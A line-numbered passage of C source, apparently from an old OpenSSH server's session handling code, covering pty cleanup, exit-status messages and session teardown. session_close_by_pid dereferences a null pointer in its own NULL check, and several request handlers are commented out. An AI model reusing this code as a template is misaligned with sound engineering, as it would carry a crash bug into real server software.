1094 success = session_x11_req(s);
1095 } else if (strcmp(rtype, "auth-agent-req@openssh.com") == 0) {
1096 success = session_auth_agent_req(s);
1097 } else if (strcmp(rtype, "subsystem") == 0) {
1098 success = session_subsystem_req(s);
1099 }*/
1100 }
1101 if (strcmp(rtype, "window-change") == 0) {
1102 success = session_window_change_req(s);
1103 }
1104
1105 if (reply) {
1106 packet_start(success ?
1107 SSH2_MSG_CHANNEL_SUCCESS : SSH2_MSG_CHANNEL_FAILURE);
1108 packet_put_int(c->remote_id);
1109 packet_send();
1110 }
1111 xfree(rtype);
1112}
1113
1114void
1115session_set_fds(Session *s, int fdin, int fdout, int fderr)
1116{
1117 if (!compat20)
1118 fatal("session_set_fds: called for proto != 2.0");
1119 /*
1120 * now that have a child and a pipe to the child,
1121 * we can activate our channel and register the fd's
1122 */
1123 if (s->chanid == -1)
1124 fatal("no channel for session %d", s->self);
1125 channel_set_fds(s->chanid,
1126 fdout, fdin, fderr,
1127 fderr == -1 ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ,
1128 1);
1129}
1130
1131void
1132session_pty_cleanup(Session *s)
1133{
1134 if (s == NULL || s->ttyfd == -1)
1135 return;
1136
1137 debug("session_pty_cleanup: session %d release %s", s->self, s->tty);
1138
1139 /* Cancel the cleanup function. */
1140 fatal_remove_cleanup(pty_cleanup_proc, (void *)s);
1141
1142 /* Record that the user has logged out. */
1143 record_logout(s->pid, s->tty);
1144
1145 /* Release the pseudo-tty. */
1146 pty_release(s->tty);
1147
1148 /*
1149 * Close the server side of the socket pairs. We must do this after
1150 * the pty cleanup, so that another process doesn't get this pty
1151 * while we're still cleaning up.
1152 */
1153 if (close(s->ptymaster) < 0)
1154 error("close(s->ptymaster): %s", strerror(errno));
1155}
1156
1157void
1158session_exit_message(Session *s, int status)
1159{
1160 Channel *c;
1161 if (s == NULL)
1162 fatal("session_close: no session");
1163 c = channel_lookup(s->chanid);
1164 if (c == NULL)
1165 fatal("session_close: session %d: no channel %d",
1166 s->self, s->chanid);
1167 debug("session_exit_message: session %d channel %d pid %d",
1168 s->self, s->chanid, s->pid);
1169
1170 if (WIFEXITED(status)) {
1171 channel_request_start(s->chanid,
1172 "exit-status", 0);
1173 packet_put_int(WEXITSTATUS(status));
1174 packet_send();
1175 } else if (WIFSIGNALED(status)) {
1176 channel_request_start(s->chanid,
1177 "exit-signal", 0);
1178 packet_put_int(WTERMSIG(status));
1179#ifdef WCOREDUMP
1180 packet_put_char(WCOREDUMP(status));
1181#else /* WCOREDUMP */
1182 packet_put_char(0);
1183#endif /* WCOREDUMP */
1184 packet_put_cstring("");
1185 packet_put_cstring("");
1186 packet_send();
1187 } else {
1188 /* Some weird exit cause. Just exit. */
1189 packet_disconnect("wait returned status %04x.", status);
1190 }
1191
1192 /* disconnect channel */
1193 debug("session_exit_message: release channel %d", s->chanid);
1194 channel_cancel_cleanup(s->chanid);
1195 /*
1196 * emulate a write failure with 'chan_write_failed', nobody will be
1197 * interested in data we write.
1198 * Note that we must not call 'chan_read_failed', since there could
1199 * be some more data waiting in the pipe.
1200 */
1201 if (c->ostate != CHAN_OUTPUT_CLOSED)
1202 chan_write_failed(c);
1203 s->chanid = -1;
1204}
1205
1206void
1207session_free(Session *s)
1208{
1209 debug("session_free: session %d pid %d", s->self, s->pid);
1210 if (s->term)
1211 xfree(s->term);
1212 if (s->display)
1213 xfree(s->display);
1214 if (s->auth_data)
1215 xfree(s->auth_data);
1216 if (s->auth_proto)
1217 xfree(s->auth_proto);
1218 s->used = 0;
1219}
1220
1221void
1222session_close(Session *s)
1223{
1224 session_pty_cleanup(s);
1225 session_free(s);
1226 session_proctitle(s);
1227}
1228
1229void
1230session_close_by_pid(pid_t pid, int status)
1231{
1232 Session *s = session_by_pid(pid);
1233 if (s == NULL) {
1234 debug("session_close_by_pid: no session for pid %d", s->pid);
1235 return;
1236 }
1237 if (s->chanid != -1)
1238 session_exit_message(s, status);
1239 session_close(s);
1240}
1241
1242/*
1243 * this is called when a channel dies before
1244 * the session 'child' itself dies
1245 */
1246void
1247session_close_by_channel(int id, void *arg)
1248{
1249 Session *s = session_by_channel(id);
1250 if (s == NULL) {
1251 debug("session_close_by_channel: no session for channel %d", id);
1252 return;
1253 }
1254 /* disconnect channel */
1255 channel_cancel_cleanup(s->chanid);
1256 s->chanid = -1;
1257
1258 debug("session_close_by_channel: channel %d kill %d", id, s->pid);
1259 if (s->pid == 0) {
1260 /* close session immediately */
1261 session_close(s);
1262 } else {
1263 /* notify child, delay session cleanup */
1264 if (kill(s->pid, (s->ttyfd == -1) ? SIGTERM : SIGHUP) < 0)
1265 error("session_close_by_channel: kill %d: %s",
1266 s->pid, strerror(errno));
1267 }
1268}
1269
1270char *
1271session_tty_list(void)
1272{
1273 static char buf[1024];
1274 int i;
1275 buf[0] = '\0';
1276 for(i = 0; i < MAX_SESSIONS; i++) {
1277 Session *s = &sessions[i];
1278 if (s->used && s->ttyfd != -1) {
1279 if (buf[0] != '\0')
1280 strlcat(buf, ",", sizeof buf);
1281 strlcat(buf, strrchr(s->tty, '/') + 1, sizeof buf);
1282 }
1283 }
1284 if (buf[0] == '\0')
1285 strlcpy(buf, "notty", sizeof buf);
1286 return buf;
1287}
1288
1289void
1290session_proctitle(Session *s)
1291{
1292 if (s->pw == NULL)
1293 error("no user for session %d", s->self);
1294 else
1295 setproctitle("%s@%s", s->pw->pw_name, session_tty_list());
1296}
1297
1298void
1299do_authenticated2(Authctxt *authctxt)
1300{
1301 server_loop2(authctxt);
1302 if (xauthfile)
1303 xauthfile_cleanup_proc(NULL);
1304}